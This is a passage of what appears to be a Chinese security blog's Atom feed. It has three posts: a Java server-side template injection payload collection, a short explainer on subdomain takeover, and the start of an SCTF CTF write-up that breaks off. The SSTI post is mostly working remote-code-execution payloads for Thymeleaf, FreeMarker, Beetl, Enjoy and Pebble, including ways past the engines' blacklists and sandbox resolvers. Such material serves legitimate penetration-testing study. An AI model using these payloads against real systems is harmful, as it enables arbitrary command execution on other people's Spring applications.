    <title>JAVA SSTI</title>
    <link href="http://example.com/2024/10/18/JAVA-SSTI/"/>
    <id>http://example.com/2024/10/18/JAVA-SSTI/</id>
    <published>2024-10-18T14:46:18.000Z</published>
    <updated>2024-10-19T14:34:40.079Z</updated>
    
    <content type="html"><![CDATA[<h1 id="java-ssti"><a class="markdownIt-Anchor" href="#java-ssti">#</a> JAVA SSTI</h1><h2 id="thymeleaf-ssti"><a class="markdownIt-Anchor" href="#thymeleaf-ssti">#</a> Thymeleaf SSTI</h2><p>Thymeleaf 是 SpringBoot 中的一个模版引擎，类似于 python 的 jinja2，负责渲染前端页面。</p><h3 id="thymeleaf表达式"><a class="markdownIt-Anchor" href="#thymeleaf表达式">#</a> Thymeleaf 表达式</h3><ul><li>变量表达式：  <code>$&#123;...&#125;</code></li><li>选择变量表达式：  <code>*&#123;...&#125;</code></li><li>消息表达：  <code>#&#123;...&#125;</code></li><li>链接 URL 表达式：  <code>@&#123;...&#125;</code></li><li>片段表达式：  <code>~&#123;...&#125;</code></li></ul><h3 id="预处理"><a class="markdownIt-Anchor" href="#预处理">#</a> 预处理</h3><p>语法： <code>__$&#123;expression&#125;__</code></p><p>官方文档对其的解释：</p><blockquote><p>除了所有这些用于表达式处理的功能外，Thymeleaf 还具有<em>预处理</em>表达式的功能。</p><p><strong>预处理是在正常表达式之前完成的表达式的执行</strong>，允许修改最终将执行的表达式。</p><p>预处理的表达式与普通表达式完全一样，但被双下划线符号（如 <code>__$&#123;expression&#125;__</code> ）包围。</p></blockquote><p>预处理也可以解析执行表达式，也就是说找到一个可以控制预处理表达式的地方，让其解析执行我们的 payload 即可达到任意代码执行</p><h2 id="payload汇总"><a class="markdownIt-Anchor" href="#payload汇总">#</a> payload 汇总</h2><h3 id="thymeleaf"><a class="markdownIt-Anchor" href="#thymeleaf">#</a> thymeleaf</h3><p>下面的 payload 基本都是换汤不换药</p><p>&lt; v3.2.1 版本</p><p>payload:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[[$&#123;springMacroRequestContext.webApplicationContext.beanFactory.createBean(springMacroRequestContext.webApplicationContext.classLoader.loadClass(&#x27;org.springframework.expression.spel.standard.SpelExpressionParser&#x27;)).parseExpression(&quot;T(java.lang.Runtime).getRuntime().exec(&#x27;calc&#x27;)&quot;).getValue()&#125;]]</span><br></pre></td></tr></table></figure></div><p>其他</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[[$&#123;springMacroRequestContext.webApplicationContext.getBean(&#x27;jacksonObjectMapper&#x27;).readValue(&quot;&#123;&#125;&quot;,&#x27;&#x27;.getClass().forName(&#x27;org.springframework.expression.spel.standard.SpelExpressionParser&#x27;)).parseExpression(&quot;T(java.lang.Runtime).getRuntime().exec(&#x27;calc&#x27;)&quot;).getValue()&#125;]]</span><br><span class="line">[[$&#123;springMacroRequestContext.webApplicationContext.beanFactory.createBean(&#x27;&#x27;.getClass.forName(&#x27;org.springframework.expression.spel.standard.SpelExpressionParser&#x27;)).parseExpression(&quot;T(java.lang.Runtime).getRuntime().exec(&#x27;calc&#x27;)&quot;).getValue()&#125;]]</span><br><span class="line">[[$&#123;springMacroRequestContext.webApplicationContext.getBean(&#x27;jacksonObjectMapper&#x27;).readValue(&quot;&#123;&#125;&quot;,springMacroRequestContext.webApplicationContext.classLoader.loadClass(&#x27;org.springframework.expression.spel.standard.SpelExpressionParser&#x27;)).parseExpression(&quot;T(java.lang.Runtime).getRuntime().exec(&#x27;calc&#x27;)&quot;).getValue()&#125;]]</span><br></pre></td></tr></table></figure></div><p>排列组合下一大堆</p><p>v3.2.1 版本（这个版本黑名单添加了一大堆，  <code>RequestContext</code>  被拉进了黑名单，但还是存在绕过方法）</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[[$&#123;#ctx[&#x27;org.springframework.web.servlet.DispatcherServlet.CONTEXT&#x27;].beanFactory.createBean(#ctx[&#x27;org.springframework.web.servlet.DispatcherServlet.CONTEXT&#x27;].classLoader.loadClass(&#x27;org.springframework.expression.spel.standard.SpelExpressionParser&#x27;)).parseExpression(&quot;T(java.lang.Runtime).getRuntime().exec(&#x27;calc&#x27;)&quot;).getValue()&#125;]]</span><br></pre></td></tr></table></figure></div><p>其他</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">[[$&#123;#ctx[&#x27;org.springframework.web.servlet.DispatcherServlet.CONTEXT&#x27;].getBean(&#x27;jacksonObjectMapper&#x27;).readValue(&quot;&#123;&#125;&quot;,&#x27;&#x27;.getClass().forName(&#x27;org.springframework.expression.spel.standard.SpelExpressionParser&#x27;)).parseExpression(&quot;T(java.lang.Runtime).getRuntime().exec(&#x27;calc&#x27;)&quot;).getValue()&#125;]]</span><br><span class="line">[[$&#123;#ctx[&#x27;org.springframework.web.servlet.DispatcherServlet.CONTEXT&#x27;].getBean(&#x27;jacksonObjectMapper&#x27;).readValue(&quot;&#123;&#125;&quot;,#ctx[&#x27;org.springframework.web.servlet.DispatcherServlet.CONTEXT&#x27;].classLoader.loadClass(&#x27;org.springframework.expression.spel.standard.SpelExpressionParser&#x27;)).parseExpression(&quot;T(java.lang.Runtime).getRuntime().exec(&#x27;calc&#x27;)&quot;).getValue()&#125;]]</span><br></pre></td></tr></table></figure></div><h3 id="freemarker"><a class="markdownIt-Anchor" href="#freemarker">#</a> freemarker</h3><p>freemarker 相关 SSTI 的 payload 最简单的可能就是</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$&#123;&quot;freemarker.template.utility.Execute&quot;?new()(&quot;calc&quot;)&#125;</span><br></pre></td></tr></table></figure></div><p>但 <strong>2.3.17</strong> 版本以后，官方版本提供了三种 TemplateClassResolver 对类进行解析：<br>1、UNRESTRICTED_RESOLVER：可以通过  <code>ClassUtil.forName(className)</code>  获取任何类。<br>2、SAFER_RESOLVER：不能加载  <code>freemarker.template.utility.JythonRuntime</code> 、 <code>freemarker.template.utility.Execute</code> 、 <code>freemarker.template.utility.ObjectConstructor</code>  这三个类。<br>3、ALLOWS_NOTHING_RESOLVER：不能解析任何类。<br>可通过 <code>freemarker.core.Configurable#setNewBuiltinClassResolver</code>  方法设置 <code>TemplateClassResolver</code> ，从而限制通过 <code>new()</code>  函数对 <code>freemarker.template.utility.JythonRuntime</code> 、 <code>freemarker.template.utility.Execute</code> 、 <code>freemarker.template.utility.ObjectConstructor</code>  这三个类的解析。</p><p><a href="https://pankas.top/post-img/%E6%8E%A2%E7%B4%A2spring%E4%B8%8BSSTI%E9%80%9A%E7%94%A8%E6%96%B9%E6%B3%95.assets/image-20240215135600310.png"><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410192229441.png" alt="image-20240215135600310"></a></p><p>(设置不能解析任何类)</p><p>下面的 payload 可以在其设置了  <code>ALLOWS_NOTHING_RESOLVER</code>  之后依然可以 RCE，其原理就是利用  <code>springMacroRequestContext.webApplicationContext</code>  来获取到  <code>freeMarkerConfiguration</code>  这个 bean，从而修改其安全配置来达到绕过的效果</p><p>(v2.3.32)</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$&#123;springMacroRequestContext.webApplicationContext.getBean(&#x27;freeMarkerConfiguration&#x27;).setNewBuiltinClassResolver(springMacroRequestContext.webApplicationContext.getBean(&#x27;freeMarkerConfiguration&#x27;).getDefaultConfiguration().getNewBuiltinClassResolver())&#125;</span><br><span class="line">$&#123;&quot;freemarker.template.utility.Execute&quot;?new()(&quot;calc&quot;)&#125;</span><br></pre></td></tr></table></figure></div><h3 id="beetl"><a class="markdownIt-Anchor" href="#beetl">#</a> beetl</h3><p>其默认的安全策略如下 （3.15.14 版本）</p><p><a href="https://pankas.top/post-img/%E6%8E%A2%E7%B4%A2spring%E4%B8%8BSSTI%E9%80%9A%E7%94%A8%E6%96%B9%E6%B3%95.assets/image-20240215145334250.png"><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410192229544.png" alt="image-20240215145334250"></a></p><p>显然很容易绕过，方法有很多了</p><p>例如</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$&#123; @java.beans.Beans.instantiate(null,&quot;org.springframework.expression.spel.standard.SpelExpressionParser&quot;).parseExpression(&quot;new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(&#x27;whoami&#x27;).getInputStream()).next()&quot;).getValue()&#125;</span><br></pre></td></tr></table></figure></div><p>下面是是用  <code>springMacroRequestContext.webApplicationContext</code>  ，不用静态方法去实现 RCE</p><p>payload:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">&lt;%</span><br><span class="line">var beanFactory = springMacroRequestContext.webApplicationContext.beanFactory;</span><br><span class="line">var cl = springMacroRequestContext.webApplicationContext.classLoader;</span><br><span class="line">var clazz = @cl.loadClass(&quot;org.springframework.expression.spel.standard.SpelExpressionParser&quot;);</span><br><span class="line">@beanFactory.createBean(clazz).parseExpression(&quot;T(java.lang.Runtime).getRuntime().exec(&#x27;calc&#x27;)&quot;).getValue();</span><br><span class="line">%&gt;</span><br></pre></td></tr></table></figure></div><p>其他</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">&lt;%</span><br><span class="line">var applicationContext = springMacroRequestContext.webApplicationContext;</span><br><span class="line">var cachingMetadataReaderFactory = @applicationContext.getBean(&#x27;org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory&#x27;);</span><br><span class="line">var cl = cachingMetadataReaderFactory.resourceLoader.classLoader;</span><br><span class="line">var clazz = @cl.loadClass(&quot;org.springframework.expression.spel.standard.SpelExpressionParser&quot;);</span><br><span class="line">@applicationContext.getBean(&quot;jacksonObjectMapper&quot;).readValue(&quot;&#123;&#125;&quot;, clazz).parseExpression(&quot;T(java.lang.Runtime).getRuntime().exec(&#x27;calc&#x27;)&quot;).getValue();</span><br><span class="line">%&gt;</span><br><span class="line">&lt;%</span><br><span class="line">var applicationContext = springMacroRequestContext.webApplicationContext;</span><br><span class="line">var cl = applicationContext.classLoader;</span><br><span class="line">var clazz = @cl.loadClass(&quot;org.springframework.expression.spel.standard.SpelExpressionParser&quot;);</span><br><span class="line">@applicationContext.getBean(&quot;jacksonObjectMapper&quot;).readValue(&quot;&#123;&#125;&quot;, clazz).parseExpression(&quot;T(java.lang.Runtime).getRuntime().exec(&#x27;calc&#x27;)&quot;).getValue();</span><br><span class="line">%&gt;</span><br></pre></td></tr></table></figure></div><p>方法很多了，不一一列举了</p><p>当然也可以结合其内置方法或其它静态方法去实现，方法很多，其他的就师傅们自己探索了，官方文档：<a class="link" href="https://www.kancloud.cn/xiandafu/beetl3_guide">https://www.kancloud.cn/xiandafu/beetl3_guide <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="enjoy"><a class="markdownIt-Anchor" href="#enjoy">#</a> Enjoy</h3><p>enjoy 有自己的黑名单，其限制</p><p><a href="https://pankas.top/post-img/%E6%8E%A2%E7%B4%A2spring%E4%B8%8BSSTI%E9%80%9A%E7%94%A8%E6%96%B9%E6%B3%95.assets/image-20240215203710612.png"><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410192229022.png" alt="image-20240215203710612"></a></p><p><a href="https://pankas.top/post-img/%E6%8E%A2%E7%B4%A2spring%E4%B8%8BSSTI%E9%80%9A%E7%94%A8%E6%96%B9%E6%B3%95.assets/image-20240215203722990.png"><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410192229297.png" alt="image-20240215203722990"></a></p><p>在 jdk17 下我们可以使用 jshell 来 rce</p><p>payload</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">#((jdk.jshell.JShell::create()).eval(&#x27;Runtime.getRuntime().exec(new String(&quot;calc&quot;));&#x27;))</span><br></pre></td></tr></table></figure></div><p>其他模板引擎像 thymeleaf 这种默认是可以调用 java 静态方法的，但参考 enjoy 模板引擎官方文档可以发现自 jfinal 5.0.2 开始其默认是不开启静态属性访问和静态方法调用的 <a class="link" href="https://jfinal.com/doc/6-3">https://jfinal.com/doc/6-3 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a href="https://pankas.top/post-img/%E6%8E%A2%E7%B4%A2spring%E4%B8%8BSSTI%E9%80%9A%E7%94%A8%E6%96%B9%E6%B3%95.assets/image-20240215202346185.png"><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410192229656.png" alt="image-20240215202346185"></a></p><p>那我们完全可以使用  <code>springMacroRequestContext.webApplicationContext</code>  来获取  <code>jfinalViewResolver</code>  这个 bean 来修改其配置，使其支持静态方法访问和调用</p><p>因为渲染执行顺序问题，先对所有的调用进行检查之后才执行，所以开启静态方法执行和调用 jshell 的 payload 要分开打</p><p>开启静态方法执行</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">#(springMacroRequestContext.webApplicationContext.getBean(&#x27;jfinalViewResolver&#x27;).engine.setStaticMethodExpression(true))</span><br></pre></td></tr></table></figure></div><p>之后用 jshell 执行命令 (jdk&gt;=17)</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">#((jdk.jshell.JShell::create()).eval(&#x27;Runtime.getRuntime().exec(new String(&quot;calc&quot;));&#x27;))</span><br></pre></td></tr></table></figure></div><p>当然，我们也可以使用下面的 payload，还是利用 ApplicationContext 来绕过限制，这个是没有调用静态方法实现</p><p>payload:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#set(applicationContext = springMacroRequestContext.webApplicationContext)</span><br><span class="line">#(applicationContext.beanFactory.createBean(applicationContext.classLoader.loadClass(&quot;org.springframework.expression.spel.standard.SpelExpressionParser&quot;)).parseExpression(&quot;T(java.lang.Runtime).getRuntime().exec(&#x27;calc&#x27;)&quot;).getValue())</span><br></pre></td></tr></table></figure></div><p>其他</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">#set(applicationContext = springMacroRequestContext.webApplicationContext)</span><br><span class="line">#set(cachingMetadataReaderFactory = applicationContext.getBean(&#x27;org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory&#x27;))</span><br><span class="line">#set(clazz = cachingMetadataReaderFactory.resourceLoader.classLoader.loadClass(&quot;org.springframework.expression.spel.standard.SpelExpressionParser&quot;))</span><br><span class="line">#(applicationContext.getBean(&quot;jacksonObjectMapper&quot;).readValue(&quot;&#123;&#125;&quot;, clazz).parseExpression(&quot;T(java.lang.Runtime).getRuntime().exec(&#x27;calc&#x27;)&quot;).getValue())</span><br><span class="line">#set(applicationContext = springMacroRequestContext.webApplicationContext)</span><br><span class="line">#set(clazz = applicationContext.classLoader.loadClass(&quot;org.springframework.expression.spel.standard.SpelExpressionParser&quot;))</span><br><span class="line">#(applicationContext.getBean(&quot;jacksonObjectMapper&quot;).readValue(&quot;&#123;&#125;&quot;, clazz).parseExpression(&quot;T(java.lang.Runtime).getRuntime().exec(&#x27;calc&#x27;)&quot;).getValue())</span><br></pre></td></tr></table></figure></div><h3 id="pebble"><a class="markdownIt-Anchor" href="#pebble">#</a> pebble</h3><p>黑名单限制如下</p><p><a href="https://pankas.top/post-img/%E6%8E%A2%E7%B4%A2spring%E4%B8%8BSSTI%E9%80%9A%E7%94%A8%E6%96%B9%E6%B3%95.assets/image-20240215215210637.png"><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410192229677.png" alt="image-20240215215210637"></a></p><p>还是用同样的方法也能绕</p><p>payload:</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&#123;% set applicationContext = springMacroRequestContext.webApplicationContext %&#125;</span><br><span class="line">&#123;&#123;applicationContext.beanFactory.createBean(applicationContext.classLoader.loadClass(&#x27;org.springframework.expression.spel.standard.SpelExpressionParser&#x27;)).parseExpression(&quot;T(java.lang.Runtime).getRuntime().exec(&#x27;calc&#x27;)&quot;).getValue()&#125;&#125;</span><br></pre></td></tr></table></figure></div><p>其他</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&#123;% set applicationContext = springMacroRequestContext.webApplicationContext %&#125;</span><br><span class="line">&#123;% set clazz = applicationContext.classLoader.loadClass(&quot;org.springframework.expression.spel.standard.SpelExpressionParser&quot;) %&#125;</span><br><span class="line">&#123;&#123;applicationContext.getBean(&quot;jacksonObjectMapper&quot;).readValue(&quot;&#123;&#125;&quot;, clazz).parseExpression(&quot;T(java.lang.Runtime).getRuntime().exec(&#x27;calc&#x27;)&quot;).getValue()&#125;&#125;</span><br></pre></td></tr></table></figure></div><p>利用其内置的 beans 属性进行替换也是可以的</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&#123;% set cachingMetadataReaderFactory = beans.get(&#x27;org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory&#x27;) %&#125;</span><br><span class="line">&#123;% set clazz = cachingMetadataReaderFactory.resourceLoader.classLoader.loadClass(&quot;org.springframework.expression.spel.standard.SpelExpressionParser&quot;) %&#125;</span><br><span class="line">&#123;&#123;beans.get(&quot;jacksonObjectMapper&quot;).readValue(&quot;&#123;&#125;&quot;, clazz).parseExpression(&quot;T(java.lang.Runtime).getRuntime().exec(&#x27;calc&#x27;)&quot;).getValue()&#125;&#125;</span><br></pre></td></tr></table></figure></div><p><a href="https://pankas.top/post-img/%E6%8E%A2%E7%B4%A2spring%E4%B8%8BSSTI%E9%80%9A%E7%94%A8%E6%96%B9%E6%B3%95.assets/image-20240215215309597.png"><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410192229222.png" alt="image-20240215215309597"></a></p><h2 id="总结"><a class="markdownIt-Anchor" href="#总结">#</a> 总结</h2><p>感觉比较万能的 payload 还是利用 beanFactory 中的 createBean 方法和获取的 ClassLoader 来实例化  <code>org.springframework.expression.spel.standard.SpelExpressionParser</code>  去执行 SpEl 表达式 RCE，这些都是 spring 默认自带的</p><p>我们利用  <code>context = springMacroRequestContext.webApplicationContext</code>  获取到应用程序上下文后，只需要执行下面的表达式就能够 RCE</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">context.beanFactory.createBean(context.classLoader.loadClass(&quot;org.springframework.expression.spel.standard.SpelExpressionParser&quot;)).p</span><br></pre></td></tr></table></figure></div><p><a class="link" href="https://pankas.top/2024/02/12/%E6%8E%A2%E7%B4%A2spring%E4%B8%8Bssti%E9%80%9A%E7%94%A8%E6%96%B9%E6%B3%95/">探索 spring 下 SSTI 通用方法 (pankas.top) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;java-ssti&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#java-ssti&quot;&gt;#&lt;/a&gt; JAVA SSTI&lt;/h1&gt;
&lt;h2 id=&quot;thymeleaf-ssti&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; </summary>
      
    
    
    
    <category term="Web JAVA" scheme="http://example.com/categories/Web-JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>subdomain takeower</title>
    <link href="http://example.com/2024/10/12/subdomain-takeower/"/>
    <id>http://example.com/2024/10/12/subdomain-takeower/</id>
    <published>2024-10-12T12:49:05.000Z</published>
    <updated>2024-10-12T13:41:07.374Z</updated>
    
    <content type="html"><![CDATA[<h2 id="子域名接管"><a href="#子域名接管" class="headerlink" title="子域名接管"></a>子域名接管</h2><h3 id="CNAME解析方式"><a href="#CNAME解析方式" class="headerlink" title="CNAME解析方式"></a>CNAME解析方式</h3><p>在我们访问一个网站时，我们可以通过对应IP访问，也可以通过域名访问，而域名之所以能够让我们访问到对应网站，是因为网站所有者将域名解析到了自己的网站服务器的IP地址，假使我的服务器IP：1.2.3.4，那么解析过程就是将域名指向了IP：1.2.3.4。在对应的DNS服务器上存在了我们的记录</p><blockquote><p>域名指向关系：<code>www.test.com -&gt; 1.2.3.4</code></p></blockquote><p>此时我们访问<code>www.test.com</code>网站，浏览器会先向DNS服务器&amp;spm&#x3D;1001.2101.3001.7020)发起查询请求，然后DNS服务器将会返回该<code>IP：1.2.3.4</code>，以供用户浏览器进行访问</p><h4 id="A记录"><a href="#A记录" class="headerlink" title="A记录"></a>A记录</h4><p>在DNS解析时，我们将<strong>一个域名或主机名直接指向一个IP地址</strong>，这样的关系我们称之为A记录，这种关系也叫做<strong>IP解析</strong></p><blockquote><p>域名指向关系：<a class="link" href="http://www.xxx.com/">www.xxx.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> -&gt; 1,2,3,4<br>主机名指向关系：name -&gt; 5,6,7,8</p></blockquote><h4 id="CNAME"><a href="#CNAME" class="headerlink" title="CNAME"></a>CNAME</h4><p>这种解析方式与A记录不同，这种方式相当于是为当前域名起了一个别名，即使用一个域名来指向另一个域名：</p><blockquote><p><a class="link" href="http://www.test1.com/">www.test1.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> -&gt; <a class="link" href="http://www.test.com/">www.test.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> -&gt; 1,2,3,4</p></blockquote><p>这种解析方式还可以将多个域名解析到同一域名上：</p><blockquote><p><a class="link" href="http://www.test1.com/">www.test1.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> -&gt; <a class="link" href="http://www.test.com/">www.test.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> -&gt; 1,2,3,4</p><p><a class="link" href="http://www.test2.com/">www.test2.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> -&gt; <a class="link" href="http://www.test.com/">www.test.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> -&gt; 1,2,3,4</p><p><a class="link" href="http://www.test3.com/">www.test3.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> -&gt; <a class="link" href="http://www.test.com/">www.test.com <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a> -&gt; 1,2,3,4</p></blockquote><p>并且当主域名IP被修改后，其他域名指向的IP也将改变，即修改<a href="http://www.test.com的IP：1，2，3，4将会使www.test1.com，www.test2.com，www.test3.com的IP都发生改变，所以后面三个域名可以认为都是域名">www.test.com的IP：1，2，3，4将会使www.test1.com，www.test2.com，www.test3.com的IP都发生改变，所以后面三个域名可以认为都是域名</a> <a class="link" href="http://www.test.com的子域名/">www.test.com的子域名 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410122105115.png" alt="在这里插入图片描述"></p><h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><p><strong>域名A将自己CNAME解析到B域名上</strong>，此时A成了B的别名。当<strong>域名B过期</strong>时，并且在<strong>域名A未在DNS服务器上解除对应的解析记录</strong>（域名A仍然指向域名B）的情况下，我们注册&#x2F;获取到该域名的使用权，并且<strong>解析到我们的服务器上，</strong>此时<strong>如果有用户通过这条路径来访问域名A的内容，将会访问到我们的服务器</strong>，即用户流量经过了我们的服务器，即我们绕开了浏览器的安全策略（因为此时<strong>浏览器是百分之百信任DNS</strong>的），这就为我们提供了绝佳的中间人欺骗环境（特殊的中间人攻击）</p><p>常见的由于错误的配置容易导致子域名接管漏洞的 SaaS 服务有：Github Pages、AWS S3、Wordpress 等，关于目前已知公开可以被接管的服务<a class="link" href="https://github.com/EdOverflow/can-i-take-over-xyz">EdOverflow&#x2F;can-i-take-over-xyz： “Can I take over XYZ？” — 服务列表以及如何使用悬空 DNS 记录申请（子）域。 (github.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>HackerOne 上能找到一些子域名接管的报告</p><p><a class="link" href="https://hackerone.com/reports/2523654">极狐GitLab |报告 #2523654 - Gitlab 页面中的子域接管  (hackerone.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410122116695.png" alt="image-20241012211643603"></p><h3 id="挖掘"><a href="#挖掘" class="headerlink" title="挖掘"></a>挖掘</h3><p>如何判断一个子域名是否存在子域名接管漏洞，一共有两个步骤：</p><ol><li>通过 DNS 解析情况，判断其是否解析到了第三方服务上</li><li>通过发起 HTTP（S）请求，判断响应内容是否包含指定特征（拿 AWS S3 举例来说，如果存在子域名接管漏洞的话，会返回 The specified bucket does not exist 特征。）</li></ol><p>还有一个场景，就是 NS 记录可控导致的子域名接管漏洞，详细的玩法可以参考 Kubernetes 的<a class="link" href="https://hackerone.com/reports/794382">Kubernetes |报告 #794382 - test-cncf-aws.canary.k8s.io 上的 Route53 子域接管  (hackerone.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>一个检测子域名接管漏洞的开源项目 <a class="link" href="https://github.com/haccer/subjack">haccer&#x2F;subjack：用 Go 编写的子域接管工具 (github.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>我们可以将该工具集成到自动化漏洞发现工作流（workflow）中，自动化的域名资产发现，定期的子域名接管漏洞检测，添加一些私有的漏洞识别规则，实时告警等</p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;子域名接管&quot;&gt;&lt;a href=&quot;#子域名接管&quot; class=&quot;headerlink&quot; title=&quot;子域名接管&quot;&gt;&lt;/a&gt;子域名接管&lt;/h2&gt;&lt;h3 id=&quot;CNAME解析方式&quot;&gt;&lt;a href=&quot;#CNAME解析方式&quot; class=&quot;headerlink&quot; ti</summary>
      
    
    
    
    <category term="Web SRC" scheme="http://example.com/categories/Web-SRC/"/>
    
    
  </entry>
  
  <entry>
    <title>SCTF WP</title>
    <link href="http://example.com/2024/10/11/SCTF-WP/"/>
    <id>http://example.com/2024/10/11/SCTF-WP/</id>
    <published>2024-10-10T23:58:42.000Z</published>
    <updated>2024-10-11T11:59:11.534Z</updated>
    
    <content type="html"><![CDATA[<h2 id="sctf-复现"><a class="markdownIt-Anchor" href="#sctf-复现">#</a> SCTF 复现</h2><h3 id="sycserver20"><a class="markdownIt-Anchor" href="#sycserver20">#</a> SycServer2.0</h3><p>FUZZ 一下</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202410110826868.png" alt="image-20241011082605735"></p><p>robots.txt: <code>http://1.95.87.154:22164/ExP0rtApi?v=static&amp;f=1.jpeg</code></p><p>config 给了公钥：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">    &quot;publicKey&quot;: &quot;-----BEGIN PUBLIC 